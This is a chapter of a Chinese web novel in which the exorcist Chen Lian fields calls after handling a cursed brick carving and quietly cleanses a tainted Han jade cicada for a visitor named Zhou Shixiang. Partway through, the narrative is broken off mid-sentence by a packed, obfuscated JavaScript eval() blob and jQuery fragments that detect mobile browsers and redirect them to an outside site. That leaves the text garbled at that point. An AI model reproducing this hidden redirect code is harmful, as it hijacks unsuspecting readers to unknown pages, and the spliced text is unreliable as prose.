抱着那块用绒布紧裹的砖雕，辰敛回到镇冥堂时，雨丝已经绵密起来，在老街的青石板上敲出细碎的声响。他将砖雕放在后堂那只樟木箱旁的地上，没有立刻处理。这种东西，急不得，需要时间让它「安静」下来，也需要等一个合适的时机与环境。


    他换下微湿的外衣，煮水，泡茶。堂内光线因雨天更显昏暗，他却依旧没开灯，只凭着习惯和窗外透进的灰濛天光动作。茶香袅袅升起，驱散了从旧货市场带回的那一丝若有若无的土腥气。


    对他而言，下午的事只是解决了一个委托。砖雕虽凶，但根源可辨，方法自然浮现。他不过是顺势而为，做了最应该做的事——安抚那点未泯的守护灵性，疏导纠缠的暴戾之气。至于在场的其他人如何看待，他未曾多想。圈子内的虚名与比较，并非他在这镇冥堂的初衷。


    然而，他并不知道，旧货市场丙排十七号摊前发生的一切，正以远比雨丝更快的速度，在某些特定的、隐秘的渠道里悄然扩散。


    最先有反应的，是庞师。


    第二天一早，庞师的电话就来了，语气比往常更热络几分，却又带着某种试探性的小心。


    「辰师傅，昨天……去南城市场了？」


    「嗯。沈墨先生托我看件东西。」


    「东西……不好处理吧？我听老胡——就是那个摆摊的——提了一嘴，说去了好几拨人，最后是您给稳住了？」庞师口中的「老胡」，显然就是那个干瘦的摊主。


    「东西有些麻烦，但还能处理。」辰敛语调平淡。


    「能处理就好，能处理就好！」庞师在那头笑了两声，随即压低声音，「辰师傅，您可能不知道，那块砖……有点来头。之前也有两位老师傅去看过，都没敢轻易动手，有一位还差点被冲了气脉。您这回，可是露脸了。」


    辰敛微微蹙眉，他并不想「露脸」。「庞师，我只是按规矩办事。」


    「明白，明白！您一向低调。」庞师连忙道，话锋一转，「对了，沈老板那边的『清谈会』，您决定去了？」


    「答应了。」


    「那好，那好。到时候我也在，咱们一起。」庞师似乎松了口气，「那您先忙，回头再联系。」


    挂了电话，辰敛看着桌上已经冷掉的茶，沉默了片刻。他意识到，事情似乎比他以为的要复杂一点。但那又如何？他依旧是镇冥堂的辰敛，该做什么，便做什么。


    下午，镇冥堂来了位生客。


    是个六十来岁的老者，穿着得体的浅灰色中山装，头发梳得一丝不苟，手里拄着一根光滑的竹杖。他进门时没有立刻开口，而是先将堂内缓缓打量了一遍，最后落在辰敛身后墙上挂着的一块小木板上：那木板有些年头了，黑漆斑驳，上面用白色颜料写着几行楷体小字，墨色也已黯淡：


    「一、材料自备。


    二、茶水恕不招待。


    三、疑者不问。」


    老者目光在那三行字上停了两秒，嘴角似有若无地动了一下，似乎有些无言，却没多说什么。


    他这才将视线落到辰敛身上。


    「可是辰敛，辰师傅？」老者声音温和，带着某种久居上位的从容。


    「我是。先生有事？」


    「敝姓周，听闻辰师傅擅长处理一些……古旧器物的疑难杂症。」周姓老者微笑，「手头恰好有件小玩意，近来总是让家人不安，想请辰师傅帮忙看看，是否沾了什么不干净的东西。」


    他说得委婉，但辰敛听出了弦外之音。这不是普通的街坊求助。老者气度不凡，指名道姓，话里提到「古旧器物」、「不干净的东西」，与昨日砖雕之事隐隐呼应。


    「东西带来了？」辰敛问。


    「带来了。」周老者从随身携带的一个软布袋里，取出一个巴掌大的锦盒。打开，里面是一枚青玉蝉，玉质温润，雕工精细，是典型的汉八刀葬玉。然而，玉蝉表面却萦绕着一层极淡的、灰败的气息，触之微凉，透着一股子「死寂」之感，与寻常古玉的润泽宝光截然不同。


    这并非凶煞之物，而是生气被某种方式抽取或污染，变成了接近「冥器」的状态，长期佩戴或放置身边，自然会影响人的精神气运。


    辰敛只看了一眼，心中便已明了大概。他没问


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004357|194004||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这玉蝉的来历，也没用复杂的手段，只是让周老者将玉蝉放在柜台上。他转身从后堂取来一小碟清水，又从内袋捏出一小撮极细的、掺了金粉的朱砂，轻轻弹入水中。清水顿时泛起一层极淡的金红色光晕。


    他将玉蝉浸入水中。


    没有念咒，没有画符。只是静静等待。


    约莫一盏茶的功夫，那层灰败的气息如同遇到阳光的薄霜，缓缓从玉蝉表面褪去，融入水中，将那碟清水染上了些许浑浊。玉蝉本身逐渐恢复了温润的光泽，虽仍带古意，却不再有那股令人不适的死寂。


    辰敛将玉蝉取出，用软布擦干，递还给周老者。「可以了。近期勿贴身佩戴，置于阳光通风处静养月余即可。」


    整个过程平淡无奇，近乎朴素。


    周老者接过玉蝉，仔细感受了片刻，眼中闪过一丝惊异，随即化为深深的赞叹。他没有多问过程，只是郑重地收起玉蝉，从怀中取出一个早已准备好的信封，厚度与吴宏远那个相仿。


    「一点心意，多谢辰师傅。」


    辰敛这次没有推拒，接了过来。这是规矩，也是了却因果。


    周老者临走前，又回头看了辰敛一眼，意味深长地说：「辰师傅手法，返璞归真，令人佩服。日后若有闲暇，欢迎来寒舍喝茶。」他留下了一张只印有姓名和宅电的素雅名片，周世襄。


    辰敛将名片与沈墨那张放在了一起。


    他隐约感觉到，某种无形的网络，正在他周围悄然编织。这些找上门的人，不再仅仅是透过庞师介绍的「客户」，他们本身可能就是这个圈子里的人物，带着审视、好奇，或者某种别的因由而来。


    他依然每日擦拭铜钱，等水滚开，喝他的茶，处理街坊的小事。但他并不知道，自从他踏入那个雨前昏暗的旧货摊棚，有些事情已经不同了。


    三天后，便是「清谈会」。


    窗外的雨，不知何时已经停了。云层裂开一道缝隙，漏下几缕淡金色的夕阳光，斜斜地照进镇冥堂，落在那些老旧的木纹上，温暖而安静。


    辰敛端起茶杯，喝了一口。茶已温凉，正好。